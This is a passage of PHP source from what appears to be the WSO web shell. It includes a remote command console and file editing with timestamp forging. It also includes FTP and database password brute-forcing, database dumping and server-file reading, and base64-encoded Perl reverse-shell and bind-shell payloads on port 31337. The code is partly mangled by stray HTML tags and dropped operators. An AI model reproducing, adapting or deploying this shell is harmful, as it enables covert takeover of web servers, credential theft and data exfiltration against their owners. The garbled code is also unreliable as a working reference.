					echo "Can\"t set permissions!<br /><script>document.mf.p3.value="";</script>";<br />
			}<br />
			clearstatcache();<br />
			echo "<script>p3_="";</script><br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.chmod.value);return false;">
<input type=text name=chmod value="".substr(sprintf("%o", fileperms($_POST["p1"])),-4)."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "edit":<br />
			if( !is_writable($_POST["p1"])) {<br />
				echo "File isn\"t writeable";<br />
				break;<br />
			}<br />
			if( !empty($_POST["p3"]) ) {<br />
				$time = @filemtime($_POST["p1"]);<br />
				$_POST["p3"] = substr($_POST["p3"],1);<br />
				$fp = @fopen($_POST["p1"],"w");<br />
				if($fp) {</p>
<p>					@fwrite($fp,$_POST["p3"]);<br />
					@fclose($fp);<br />
					echo "Saved!<br /><script>p3_="";</script>";<br />
					@touch($_POST["p1"],$time,$time);<br />
				}<br />
			}<br />
			echo "<br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,\"1\" this.text.value);return false;"><textarea name=text class=bigarea>";<br />
			$fp = @fopen($_POST["p1"], "r");<br />
			if($fp) {<br />
				while( !@feof($fp) )<br />
					echo htmlspecialchars(@fread($fp, 1024));<br />
				@fclose($fp);<br />
			}<br />
			echo "</textarea><br />
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "hexdump":<br />
			$c = @file_get_contents($_POST["p1"]);<br />
			$n = 0;<br />
			$h = array("00000000<br />","","");<br />
			$len = strlen($c);<br />
			for ($i=0; $i<$len; $i) {<br />
				$h[1] .= sprintf("X",ord($c[$i]))." ";<br />
				switch ( ord($c[$i]) ) {<br />
					case 0: $h[2] .= " "; break;<br />
					case 9: $h[2] .= " "; break;<br />
					case 10: $h[2] .= " "; break;<br />
					case 13: $h[2] .= " "; break;<br />
					default: $h[2] .= $c[$i]; break;<br />
				}<br />
				$n ;<br />
				if ($n == 32) {<br />
					$n = 0;<br />
					if ($i 1 < $len) {$h[0] .= sprintf("X",$i 1)."<br />";}<br />
					$h[1] .= "<br />";<br />
					$h[2] .= "\n";<br />
				}<br />
		 	}<br />
			echo "<br />
<table cellspacing=1 cellpadding=5 bgcolor=#222222>
<tr>
<td bgcolor=#333333><span style="font-weight: normal;">
<pre>".$h[0]."</pre>
<p></span></td>
<td bgcolor=#282828>
<pre>".$h[1]."</pre>
</td>
<td bgcolor=#333333>
<pre>".htmlspecialchars($h[2])."</pre>
</td>
</tr>
</table>
<p>";<br />
			break;<br />
		case "rename":<br />
			if( !empty($_POST["p3"]) ) {<br />
				if(!@rename($_POST["p1"], $_POST["p3"]))<br />
					echo "Can\"t rename!<br />";<br />
				else<br />
					die("<script>g(null,null,"".urlencode($_POST["p3"])."",null,"")</script>");<br />
			}<br />
			echo "<br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.name.value);return false;">
<input type=text name=name value="".htmlspecialchars($_POST["p1"])."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
		case "touch":<br />
			if( !empty($_POST["p3"]) ) {<br />
				$time = strtotime($_POST["p3"]);<br />
				if($time) {<br />
					if(!touch($_POST["p1"],$time,$time))<br />
						echo "Fail!";<br />
					else<br />
						echo "Touched!";<br />
				} else echo "Bad time format!";<br />
			}<br />
			clearstatcache();<br />
			echo "<script>p3_="";</script><br />
<form onsubmit="g(null,null,\"" . urlencode($_POST["p1"]) . "\",null,this.touch.value);return false;">
<input type=text name=touch value="".date("Y-m-d H:i:s", @filemtime($_POST["p1"]))."">
<input type=submit value=">>"></form>
<p>";<br />
			break;<br />
	}<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionConsole() {<br />
 if(!empty($_POST["p1"]) &#038;&#038; !empty($_POST["p2"])) {<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"])."stderr_to_out", true);<br />
 $_POST["p1"] .= " 2>&#038;1";<br />
 } elseif(!empty($_POST["p1"]))<br />
 WSOsetcookie(md5($_SERVER["HTTP_HOST"])."stderr_to_out", 0);</p>
<p>	if(isset($_POST["ajax"])) {<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", true);<br />
		ob_start();<br />
		echo "d.cf.cmd.value="";\n";<br />
		$temp = @iconv($_POST["charset"], "UTF-8", addcslashes("\n$ ".$_POST["p1"]."\n".wsoEx($_POST["p1"]),"\n\r\t\\"\0"));<br />
		if(preg_match("!.*cd\s ([^;] )$!",$_POST["p1"],$match))	{<br />
			if(@chdir($match[1])) {<br />
				$GLOBALS["cwd"] = @getcwd();<br />
				echo "c_="".$GLOBALS["cwd"]."";";<br />
			}<br />
		}<br />
		echo "d.cf.output.value ="".$temp."";";<br />
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";<br />
		$temp = ob_get_clean();<br />
		echo strlen($temp), "\n", $temp;<br />
		exit;<br />
	}<br />
 if(empty($_POST["ajax"])&#038;&#038;!empty($_POST["p1"]))<br />
		WSOsetcookie(md5($_SERVER["HTTP_HOST"])."ajax", 0);<br />
	wsoHeader();<br />
 echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array("");
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else</p>
<p>			cur ;
	} else if(n == 40) {
		cur ;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push("");
	cur = cmds.length-1;
}
</script>";<br />
	echo "<br />
<h1>Console</h1>
<div class=content>
<form name=cf onsubmit="if(d.cf.cmd.value==\"clear\"){d.cf.output.value=\"\";d.cf.cmd.value=\"\";return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\"\");}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\"\");} return false;">
<select name=alias>";<br />
	foreach($GLOBALS["aliases"] as $n => $v) {<br />
		if($v == "") {<br />
			echo "<optgroup label="-".htmlspecialchars($n)."-"></optgroup>";<br />
			continue;<br />
		}<br />
		echo "<br />
<option value="".htmlspecialchars($v)."">".$n."</option>
<p>";<br />
	}</p>
<p>	echo "</select>
<input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\"\");}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\"\");}" value=">>"> <nobr><br />
<input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER["HTTP_HOST"])."ajax"]?"checked":"")."> send using AJAX<br />
<input type=checkbox name=show_errors value=1 ".(!empty($_POST["p2"])||$_COOKIE[md5($_SERVER["HTTP_HOST"])."stderr_to_out"]?"checked":"")."> redirect stderr to stdout (2>&#038;1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>";<br />
	if(!empty($_POST["p1"])) {<br />
		echo htmlspecialchars("$ ".$_POST["p1"]."\n".wsoEx($_POST["p1"]));<br />
	}<br />
	echo "</textarea><br />
<table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%">
<tr>
<td width="1%">$</td>
<td>
<input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td>
</tr>
</table>
<p>";<br />
	echo "</p></form>
</div>
<p><script>d.cf.cmd.focus();</script>";<br />
	wsoFooter();<br />
}</p>
<p>function actionLogout() {<br />
 setcookie(md5($_SERVER["HTTP_HOST"]), "", time() - 3600);<br />
	die("bye!");<br />
}</p>
<p>function actionSelfRemove() {</p>
<p>	if($_POST["p1"] == "yes")<br />
		if(@unlink(preg_replace("!\(\d \)\s.*!", "", __FILE__)))<br />
			die("Shell has been removed");<br />
		else<br />
			echo "unlink error!";<br />
 if($_POST["p1"] != "yes")<br />
 wsoHeader();<br />
	echo "<br />
<h1>Suicide</h1>
<div class=content>Really want to remove the shell?<br /><a href=# onclick="g(null,null,\"yes\")">Yes</a></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionBruteforce() {<br />
	wsoHeader();<br />
	if( isset($_POST["proto"]) ) {<br />
		echo "<br />
<h1>Results</h1>
<div class=content><span>Type:</span> ".htmlspecialchars($_POST["proto"])." <span>Server:</span> ".htmlspecialchars($_POST["server"])."<br />";<br />
		if( $_POST["proto"] == "ftp" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$fp = @ftp_connect($ip, $port?$port:21);<br />
				if(!$fp) return false;<br />
				$res = @ftp_login($fp, $login, $pass);<br />
				@ftp_close($fp);<br />
				return $res;<br />
			}<br />
		} elseif( $_POST["proto"] == "mysql" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$res = @mysql_connect($ip.":".($port?$port:3306), $login, $pass);<br />
				@mysql_close($res);<br />
				return $res;<br />
			}<br />
		} elseif( $_POST["proto"] == "pgsql" ) {<br />
			function wsoBruteForce($ip,$port,$login,$pass) {<br />
				$str = "host="".$ip."" port="".$port."" user="".$login."" password="".$pass."" dbname=postgres";<br />
				$res = @pg_connect($str);<br />
				@pg_close($res);<br />
				return $res;<br />
			}<br />
		}<br />
		$success = 0;<br />
		$attempts = 0;<br />
		$server = explode(":", $_POST["server"]);<br />
		if($_POST["type"] == 1) {<br />
			$temp = @file("/etc/passwd");<br />
			if( is_array($temp) )<br />
				foreach($temp as $line) {<br />
					$line = explode(":", $line);<br />
					 $attempts;<br />
					if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {<br />
						$success ;<br />
						echo "<b>".htmlspecialchars($line[0])."</b>:".htmlspecialchars($line[0])."<br />";<br />
					}<br />
					if(@$_POST["reverse"]) {<br />
						$tmp = "";<br />
						for($i=strlen($line[0])-1; $i>=0; --$i)<br />
							$tmp .= $line[0][$i];<br />
						 $attempts;<br />
						if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {<br />
							$success ;<br />
							echo "<b>".htmlspecialchars($line[0])."</b>:".htmlspecialchars($tmp);<br />
						}<br />
					}<br />
				}<br />
		} elseif($_POST["type"] == 2) {<br />
			$temp = @file($_POST["dict"]);<br />
			if( is_array($temp) )<br />
				foreach($temp as $line) {<br />
					$line = trim($line);<br />
					 $attempts;<br />
					if( wsoBruteForce($server[0],@$server[1], $_POST["login"], $line) ) {<br />
						$success ;<br />
						echo "<b>".htmlspecialchars($_POST["login"])."</b>:".htmlspecialchars($line)."<br />";<br />
					}<br />
				}<br />
		}<br />
		echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div>
<p>";<br />
	}<br />
	echo "<br />
<h1>Bruteforce</h1>
<div class=content>
<table>
<form method=post>
<tr>
<td><span>Type</span></td>
<p>"<br />
		."
<td>
<select name=proto>
<option value=ftp>FTP</option>
<option value=mysql>MySql</option>
<option value=pgsql>PostgreSql</option>
</select>
</td>
</tr>
<tr>
<td>"<br />
		."<br />
<input type=hidden name=c value="".htmlspecialchars($GLOBALS["cwd"])."">"<br />
		."<br />
<input type=hidden name=a value="".htmlspecialchars($_POST["a"])."">"<br />
		."<br />
<input type=hidden name=charset value="".htmlspecialchars($_POST["charset"])."">"<br />
		."<span>Server:port</span></td>
<p>"<br />
		."
<td>
<input type=text name=server value="127.0.0.1"></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td><span>Brute type</span></td>
<p>"<br />
		."
<td><label><br />
<input type=radio name=type value="1" checked> /etc/passwd</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td><label style="padding-left:15px"><br />
<input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td><label><br />
<input type=radio name=type value="2"> Dictionary</label></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td></td>
<td>
<table style="padding-left:15px">
<tr>
<td><span>Login</span></td>
<p>"<br />
		."
<td>
<input type=text name=login value="root"></td>
</tr>
<p>"<br />
		."<br />
<tr>
<td><span>Dictionary</span></td>
<p>"<br />
		."
<td>
<input type=text name=dict value="".htmlspecialchars($GLOBALS["cwd"])."passwd.dic"></td>
</tr>
</table>
<p>"<br />
		."</td>
</tr>
<tr>
<td></td>
<td>
<input type=submit value=">>"></td>
</tr>
</form>
</table>
<p>";<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}</p>
<p>function actionSql() {<br />
	class DbClass {<br />
		var $type;<br />
		var $link;<br />
		var $res;<br />
		function DbClass($type)	{<br />
			$this->type = $type;<br />
		}<br />
		function connect($host, $user, $pass, $dbname){<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;<br />
					break;<br />
				case "pgsql":<br />
					$host = explode(":", $host);<br />
					if(!$host[1]) $host[1]=5432;<br />
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function selectdb($db) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if (@mysql_select_db($db))return true;<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function query($str) {<br />
			switch($this->type) {<br />
				case "mysql":<br />
					return $this->res = @mysql_query($str);<br />
					break;<br />
				case "pgsql":<br />
					return $this->res = @pg_query($this->link,$str);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function fetch() {<br />
			$res = func_num_args()?func_get_arg(0):$this->res;<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return @mysql_fetch_assoc($res);<br />
					break;<br />
				case "pgsql":<br />
					return @pg_fetch_assoc($res);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function listDbs() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
 return $this->query("SHOW databases");<br />
				break;<br />
				case "pgsql":<br />
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!="t"");<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function listTables() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return $this->res = $this->query("SHOW TABLES");<br />
				break;<br />
				case "pgsql":<br />
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != "information_schema" AND table_schema != "pg_catalog"");<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function error() {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return @mysql_error();<br />
				break;<br />
				case "pgsql":<br />
					return @pg_last_error();<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function setCharset($str) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					if(function_exists("mysql_set_charset"))<br />
						return @mysql_set_charset($str, $this->link);<br />
					else<br />
						$this->query("SET CHARSET ".$str);<br />
					break;<br />
				case "pgsql":<br />
					return @pg_set_client_encoding($this->link, $str);<br />
					break;<br />
			}<br />
			return false;<br />
		}<br />
		function loadFile($str) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					return $this->fetch($this->query("SELECT LOAD_FILE("".addslashes($str)."") as file"));<br />
				break;<br />
				case "pgsql":<br />
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM "".addslashes($str)."";select file from wso2;");<br />
					$r=array();<br />
					while($i=$this->fetch())<br />
						$r[] = $i["file"];<br />
					$this->query("drop table wso2");<br />
					return array("file"=>implode("\n",$r));<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
		function dump($table, $fp = false) {<br />
			switch($this->type)	{<br />
				case "mysql":<br />
					$res = $this->query("SHOW CREATE TABLE `".$table."`");<br />
					$create = mysql_fetch_array($res);<br />
					$sql = $create[1].";\n";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
					$this->query("SELECT * FROM `".$table."`");<br />
 $i = 0;<br />
 $head = true;<br />
					while($item = $this->fetch()) {<br />
 $sql = "";<br />
 if($i % 1000 == 0) {<br />
 $head = true;<br />
 $sql = ";\n\n";<br />
 }</p>
<p>						$columns = array();<br />
						foreach($item as $k=>$v) {<br />
 if($v === null)<br />
 $item[$k] = "NULL";<br />
 elseif(is_int($v))<br />
 $item[$k] = $v;<br />
 else<br />
 $item[$k] = """.@mysql_real_escape_string($v).""";<br />
							$columns[] = "`".$k."`";<br />
						}<br />
 if($head) {<br />
 $sql .= "INSERT INTO `".$table."` (".implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).")";<br />
 $head = false;<br />
 } else<br />
 $sql .= "\n\t,(".implode(", ", $item).")";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
 $i ;<br />
					}<br />
 if(!$head)<br />
 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");<br />
				break;<br />
				case "pgsql":<br />
					$this->query("SELECT * FROM ".$table);<br />
					while($item = $this->fetch()) {<br />
						$columns = array();<br />
						foreach($item as $k=>$v) {<br />
							$item[$k] = """.addslashes($v).""";<br />
							$columns[] = $k;<br />
						}<br />
 $sql = "INSERT INTO ".$table." (".implode(", ", $columns).") VALUES (".implode(", ", $item).");"."\n";<br />
 if($fp) fwrite($fp, $sql); else echo($sql);<br />
					}<br />
				break;<br />
			}<br />
			return false;<br />
		}<br />
	};<br />
	$db = new DbClass($_POST["type"]);<br />
	if((@$_POST["p2"]=="download") &#038;&#038; (@$_POST["p1"]!="select")) {<br />
		$db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"]);<br />
		$db->selectdb($_POST["sql_base"]);<br />
 switch($_POST["charset"]) {<br />
 case "Windows-1251": $db->setCharset("cp1251"); break;<br />
 case "UTF-8": $db->setCharset("utf8"); break;<br />
 case "KOI8-R": $db->setCharset("koi8r"); break;<br />
 case "KOI8-U": $db->setCharset("koi8u"); break;<br />
 case "cp866": $db->setCharset("cp866"); break;<br />
 }<br />
 if(empty($_POST["file"])) {<br />
 ob_start("ob_gzhandler", 4096);<br />
 header("Content-Disposition: attachment; filename=dump.sql");<br />
 header("Content-Type: text/plain");<br />
 foreach($_POST["tbl"] as $v)<br />
				$db->dump($v);<br />
 exit;<br />
 } elseif($fp = @fopen($_POST["file"], "w")) {<br />
 foreach($_POST["tbl"] as $v)<br />
 $db->dump($v, $fp);<br />
 fclose($fp);<br />
 unset($_POST["p2"]);<br />
 } else<br />
 die("<script>alert("Error! Can\"t open file");window.history.back(-1)</script>");<br />
	}<br />
	wsoHeader();<br />
	echo "</p>
<h1>Sql browser</h1>
<div class=content>
<form name="sf" method="post" onsubmit="fs(this);">
<table cellpadding="2" cellspacing="0">
<tr>
<td>Type</td>
<td>Host</td>
<td>Login</td>
<td>Password</td>
<td>Database</td>
<td></td>
</tr>
<tr>
<input type=hidden name=a value=Sql>
<input type=hidden name=p1 value="query">
<input type=hidden name=p2 value="">
<input type=hidden name=c value="". htmlspecialchars($GLOBALS["cwd"]) ."">
<input type=hidden name=charset value="". (isset($_POST["charset"])?$_POST["charset"]:"") ."">
<td>
<select name="type">
<option value="mysql" ";<br />
 if(@$_POST["type"]=="mysql")echo "selected";<br />
echo ">MySql</option>
<option value="pgsql" ";<br />
if(@$_POST["type"]=="pgsql")echo "selected";<br />
echo ">PostgreSql</option>
</select>
</td>
<td>
<input type=text name=sql_host value=\"". (empty($_POST["sql_host"])?"localhost":htmlspecialchars($_POST["sql_host"])) ."\"></td>
<td>
<input type=text name=sql_login value=\"". (empty($_POST["sql_login"])?"root":htmlspecialchars($_POST["sql_login"])) ."\"></td>
<td>
<input type=text name=sql_pass value=\"". (empty($_POST["sql_pass"])?"":htmlspecialchars($_POST["sql_pass"])) ."\"></td>
<td>";<br />
	$tmp = "<br />
<input type=text name=sql_base value="">";<br />
	if(isset($_POST["sql_host"])){<br />
		if($db->connect($_POST["sql_host"], $_POST["sql_login"], $_POST["sql_pass"], $_POST["sql_base"])) {<br />
			switch($_POST["charset"]) {<br />
				case "Windows-1251": $db->setCharset("cp1251"); break;<br />
				case "UTF-8": $db->setCharset("utf8"); break;<br />
				case "KOI8-R": $db->setCharset("koi8r"); break;<br />
				case "KOI8-U": $db->setCharset("koi8u"); break;<br />
				case "cp866": $db->setCharset("cp866"); break;<br />
			}<br />
			$db->listDbs();<br />
			echo "<br />
<select name=sql_base>
<option value=""></option>
<p>";<br />
			while($item = $db->fetch()) {<br />
				list($key, $value) = each($item);<br />
				echo "<br />
<option value="".$value."" ".($value==$_POST["sql_base"]?"selected":"").">".$value."</option>
<p>";<br />
			}<br />
			echo "</select>
<p>";<br />
		}<br />
		else echo $tmp;<br />
	}else<br />
		echo $tmp;<br />
	echo "</td>
<td>
<input type=submit value=">>" onclick="fs(d.sf);"></td>
<td>
<input type=checkbox name=sql_count value="on"" . (empty($_POST["sql_count"])?"":" checked") . "> count the number of rows</td>
</tr>
</table>
<p>		<script>
 s_db="".@addslashes($_POST["sql_base"])."";
 function fs(f) {
 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
 if(f.p1) f.p1.value="";
 if(f.p2) f.p2.value="";
 if(f.p3) f.p3.value="";
 }
 }
			function st(t,l) {
				d.sf.p1.value = "select";
				d.sf.p2.value = t;
 if(l &#038;&#038; d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements["tbl[]"].length; i)
					d.sf.elements["tbl[]"][i].checked = !d.sf.elements["tbl[]"][i].checked;
			}
		</script>";<br />
	if(isset($db) &#038;&#038; $db->link){<br />
		echo "<br/><br />
<table width=100% cellpadding=2 cellspacing=0>";<br />
			if(!empty($_POST["sql_base"])){<br />
				$db->selectdb($_POST["sql_base"]);<br />
				echo "<br />
<tr>
<td width=1 style="border-top:2px solid #666;"><span>Tables:</span></p>
<p>";<br />
				$tbls_res = $db->listTables();<br />
				while($item = $db->fetch($tbls_res)) {<br />
					list($key, $value) = each($item);<br />
 if(!empty($_POST["sql_count"]))<br />
 $n = $db->fetch($db->query("SELECT COUNT(*) as n FROM ".$value.""));<br />
					$value = htmlspecialchars($value);<br />
					echo "<nobr><br />
<input type="checkbox" name="tbl[]" value="".$value."">&#038;<a href=# onclick=\"st("".$value."",1)\">".$value."</a>" . (empty($_POST["sql_count"])?"&#038;":" <small>({$n["n"]})</small>") . "</nobr><br />";<br />
				}<br />
				echo "<br />
<input type="checkbox" onclick="is();">
<input type=button value="Dump" onclick="document.sf.p2.value=\"download\";document.sf.submit();">File path:<br />
<input type=text name=file value="dump.sql"></td>
<td style="border-top:2px solid #666;">";<br />
				if(@$_POST["p1"] == "select") {<br />
					$_POST["p1"] = "query";<br />
 $_POST["p3"] = $_POST["p3"]?$_POST["p3"]:1;<br />
					$db->query("SELECT COUNT(*) as n FROM " . $_POST["p2"]);<br />
					$num = $db->fetch();<br />
					$pages = ceil($num["n"] / 30);<br />
 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST["p2"] . "\", d.sf.p3.value)}</script><span>".$_POST["p2"]."</span> ({$num["n"]} records) Page #<br />
<input type=text name="p3" value=" . ((int)$_POST["p3"]) . ">";<br />
 echo " of $pages";<br />
 if($_POST["p3"] > 1)<br />
 echo " <a href=# onclick="st(\"" . $_POST["p2"] . "", " . ($_POST["p3"]-1) . ")">&#038;< Prev</a>";<br />
 if($_POST["p3"] < $pages)<br />
 echo " <a href=# onclick="st(\"" . $_POST["p2"] . "", " . ($_POST["p3"] 1) . ")">Next &#038;></a>";<br />
 $_POST["p3"]--;<br />
					if($_POST["type"]=="pgsql")<br />
						$_POST["p2"] = "SELECT * FROM ".$_POST["p2"]." LIMIT 30 OFFSET ".($_POST["p3"]*30);<br />
					else<br />
						$_POST["p2"] = "SELECT * FROM `".$_POST["p2"]."` LIMIT ".($_POST["p3"]*30).",30";<br />
					echo "</p>
<p>";<br />
				}<br />
				if((@$_POST["p1"] == "query") &#038;&#038; !empty($_POST["p2"])) {<br />
					$db->query(@$_POST["p2"]);<br />
					if($db->res !== false) {<br />
						$title = false;<br />
						echo "<br />
<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">";<br />
						$line = 1;<br />
						while($item = $db->fetch())	{<br />
							if(!$title)	{<br />
								echo "<br />
<tr>";<br />
								foreach($item as $key => $value)<br />
									echo "
<th>".$key."</th>
<p>";<br />
								reset($item);<br />
								$title=true;<br />
								echo "</tr>
<tr>";<br />
								$line = 2;<br />
							}<br />
							echo "<br />
<tr class="l".$line."">";<br />
							$line = $line==1?2:1;<br />
							foreach($item as $key => $value) {<br />
								if($value == null)<br />
									echo "
<td><i>null</i></td>
<p>";<br />
								else<br />
									echo "
<td>".nl2br(htmlspecialchars($value))."</td>
<p>";<br />
							}<br />
							echo "</tr>
<p>";<br />
						}<br />
						echo "</table>
<p>";<br />
					} else {<br />
						echo "
<div><b>Error:</b> ".htmlspecialchars($db->error())."</div>
<p>";<br />
					}<br />
				}<br />
				echo "<br /></form>
<form onsubmit="d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;"><textarea name="query" style="width:100%;height:100px">";<br />
 if(!empty($_POST["p2"]) &#038;&#038; ($_POST["p1"] != "loadfile"))<br />
 echo htmlspecialchars($_POST["p2"]);<br />
 echo "</textarea><br/><br />
<input type=submit value="Execute">";<br />
				echo "</td>
</tr>
<p>";<br />
			}<br />
			echo "</table>
</form>
<p><br/>";<br />
 if($_POST["type"]=="mysql") {<br />
 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, "@", `host`) = USER() AND `File_priv` = "y"");<br />
 if($db->fetch())<br />
 echo "<br />
<form onsubmit="d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;"><span>Load file</span><br />
<input class="toolsInp" type=text name=f>
<input type=submit value=">>"></form>
<p>";<br />
 }<br />
			if(@$_POST["p1"] == "loadfile") {<br />
				$file = $db->loadFile($_POST["p2"]);<br />
				echo "<br/>
<pre class=ml1>".htmlspecialchars($file["file"])."</pre>
<p>";<br />
			}<br />
	} else {<br />
 echo htmlspecialchars($db->error());<br />
 }<br />
	echo "</p></div>
<p>";<br />
	wsoFooter();<br />
}<br />
function actionNetwork() {<br />
	wsoHeader();<br />
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";<br />
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";<br />
	echo "<br />
<h1>Network tools</h1>
<div class=content>
<form name="nfp" onSubmit=\"g(null,null,"bpp",this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/><br />
	Port:<br />
<input type="text" name="port" value="31337">
<input type=submit value=">>"><br />
	</form>
<form name="nfp" onSubmit=\"g(null,null,"bcp",this.server.value,this.port.value);return false;\">
	<span>Back-connect [perl]</span><br/><br />
	Server:<br />
<input type="text" name="server" value="". $_SERVER["REMOTE_ADDR"] .""> Port:<br />
<input type="text" name="port" value="31337">
<input type=submit value=">>"><br />
	</form>
<p>";<br />
	if(isset($_POST["p1"])) {<br />
		function cf($f,$t) {<br />
			$w = @fopen($f,"w") or @function_exists("file_put_contents");<br />
			if($w){<br />
				@fwrite($w,@base64_decode($t));<br />
				@fclose($w);<br />
			}<br />
		}<br />
		if($_POST["p1"] == "bpp") {<br />
